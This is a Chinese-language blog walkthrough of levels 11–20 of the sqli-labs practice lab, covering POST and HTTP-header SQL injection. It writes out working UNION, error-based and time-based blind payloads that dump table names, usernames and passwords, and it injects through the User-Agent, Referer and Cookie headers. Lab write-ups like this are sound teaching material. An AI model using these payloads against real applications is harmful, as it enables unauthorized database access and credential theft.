人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头
前言
sqli-labs 1-10 关是 GET 方法注入,11-20 关是 POST 方法注入。思路有相似之处,最大的区别在于参数提交的方式不一样。
环境准备
Phpstudy 集成工具
Sublime 代码编辑器
Firefox 浏览器
Hackbar 插件(或 Burpsuite)
Headers Modify 插件
Less 11
① 源码分析
post方法提交参数
两处单引号引用参数拼接sql语句
查询输出
② 漏洞利用
Hackbar 提交 POST 参数
闭合单引号,在任何一处参数构造 sql 语句注入
1. 提交参数
按 f12 键打开开发者工具,选中 POST 提交的条目可以看到提交的数据。( 知道怎么样提交,好方便接下来自己构造 POST 参数)
2. order by 查询列数
2.1 猜测列数为 2 ,不报错
POST 参数:
uname=1' order by 2 #&passwd=123
2.2 猜测列数为 3 ,报错。说明当前使用的数据表列数为 2 列。
POST 参数:
uname=1' order by 3 #&passwd=123
3. UNION 注入
3.1 注入数字,查看回显位
POST 参数:
uname=1' union select 1,2 #&passwd=123
3.2 查看数据库基本信息
POST 参数:
uname=1' union select version(),database() #&passwd=123
3.3 查看当前数据库的所有表
POST 参数:
uname=1' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),database() #&passwd=123
3.4 查看列
POST 参数:
uname=1' union select (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() #&passwd=123
3.5 查看数据
POST参数:
uname=1' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #&passwd=123
Less 12
① 源码分析
POST 提交数据
双引号+括号引用参数进行 sql 语句拼接
② 漏洞利用
双引号和括号闭合并构造 sql 语句
思路和 Less11 一样
UNION 注入
POST参数:
uname=1") union select 1,2 #&passwd=123
Less 13
① 源码分析
POST 提交参数
单引号+括号引用参数拼接 sql 语句
没有数据信息回显
有错误信息回显
② 漏洞利用
闭合单引号+括号
使用报错注入,利用错误回显信息
当然也可以使用时间盲注(当错误信息关闭之后)
- 查看当前数据库
POST参数:
uname=1') or (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123
2. 爆出当前数据库下所有表
POST参数:
uname=1') or (select 1 from(select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123
3. 爆出数据列
POST 参数:
uname=1') or (select 1 from(select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123
4. 爆出数据
4.1 查看 username 字段(group_concat)
uname=1') or (select 1 from(select count(*),concat((select group_concat(username) from security.users),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123
4.2 查看第一个 username 字段(limit)
uname=1') or (select 1 from(select count(*),concat((select username from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123
4.3 password 字段同理可以得出,一个一个看吧。
Less 14
① 源码分析
POST 提交参数
双引号引用参数
没有数据信息回显
有错误信息回显
② 漏洞利用
双引号闭合
可以报错注入
这里使用时间盲注
- 判断是否可以时间盲注
这里由于 uname 引用了一个数据表不存在的数且使用 or 布尔值,所以每遍历当前数据表的一个数就延时一秒(当前数据库有 14 个数据,所以共延时 14 秒)
uname=1') or sleep(1)#&passwd=admin
如果引用数据库存在的数据,如 admin ,且使用布尔值 and ,所以延时一秒
uname=admin') and sleep(1)#&passwd=admin
- 时间盲注格式
if(判断条件,条件位 true 时执行,条件为 false 时执行)
if(ascii(substring((payload),1,1))>0,sleep(1),1)
当前数据库的第一个字母的 ASCII 值大于零时延时
uname=1') or if(ascii(substring(database(),1,1))>0,sleep(1),1)#&passwd=123
当前数据库的第二个字母的 ASCII 值大于零时延时
uname=1') or if(ascii(substring(database(),2,1))>0,sleep(1),1)#&passwd=123
就一个一个猜吧,比较费时。
Less 15
① 源码分析
POST 提交数据
单引号引用参数
没有数据信息回显
没有错误信息回显
② 漏洞利用
单引号闭合
不管输入信息对错,没有任何信息回显,只能使用时间盲注,思路和 Less14 一样
Less 16
① 源码分析
双引号+括号引用参数
没有数据信息回显
没有错误信息回显
② 漏洞利用
双引号+括号闭合
时间盲注,思路和 Less14 一样
Less 17
① 源码分析
先对 check_input( ) 函数分析下
substr()
substr() 函数返回字符串的一部分。substr(string,start,length)
magic_quotes_gpc
在magic_quotes_gpc=On的情况下,如果输入的数据有单引号(’)、双引号(”)、反
斜线(\)与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这
个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。
stripslashes()函数用来去除添加的反斜杠
ctype_digit()
ctype_digit()函数用于检测 $value 的值是不是数字,是返回true,不是返回false
mysql_real_escape_string()
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
intval()
intval()函数取整
分析下源码:
对 uname 使用 check_input() 函数过滤
对 passwd 却没做操作(可做突破点)
单引号引用参数
没有数据信息回显
有错误信息回显
② 漏洞利用
单引号闭合
从 passwd 参数着手
报错注入
当然也可以使用时间盲注
显示当前数据库
uname=admin&passwd= ' or (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) #
剩下的注入思路可以借鉴 Less13
Less 18
① 源码分析
获取 http 头部信息 referer
对用户的输入 uname 和 passwd 都做了过滤
没对 uagent 过滤,且将其插入数据库中
有错误信息回显
② 漏洞利用
没有对 User-Agent 信息过滤且插入数据库中,可以对其进行 sql 语句构造,产生错误由
mysql_error() 函数打印出来。
由于源码中的插入语句对 uagent 参数用单引号引用,所以这里用单引号闭合
前提:
post 提交的 uname 和 passwd 参数要是正确的
使用hackbar v2 插件或者 Burpsuite ,headers Modify 等可以修改 HTTP 头部参数
在 User Agent 输入以下 payload 查看当前数据库
'or (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) or'
剩下的注入思路可以参考 Less13
Less 19
① 源码分析
获取 HTTP 头部的 referer 参数
单引号引用 referer 参数并插入数据库中
有错误信息回显
② 漏洞利用
单引号闭合 referer 参数
使用报错注入,在 referer 参数处构造 payload 进行注入
前提:
uname 和 passwd 参数要正确
在 referer 参数处输入以下 payload 查看当前数据库
' or (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
剩下的注入思路可以参考 Less 13
Less 20
① 源码分析
当没有 cookie 时,获取 uname 和 passwd 参数,且做过滤
没有数据信息回显
有错误信息回显也无用武之地
产生 cookie 之后,获取当前 cookie
单引号引用构造 sql 语句进行数据库信息查询
将查询的信息回显
② 漏洞利用
填写正确的参数提交产生 cookie
在 cookie 处构造 payload 进行注入
- 提交 admin/admin 参数,按 f12 打开开发者工具,查看 cookie 的构造格式
- order by 查看可利用列数
uname=' order by 3 #
当猜测数据列为 4 时出现错误,说明可利用的列数为 3
uname=' order by 4 #
3. union 注入
3.1 查看数据回显位,可以知道数字 1,2,3 都有回显
uname=' union select 1,2,3 #
接下来的注入思路可以参考 Less 11
猪头
2020.1.18
来源:CSDN
作者:LZHPIG
链接:https://blog.csdn.net/LZHPIG/article/details/104024923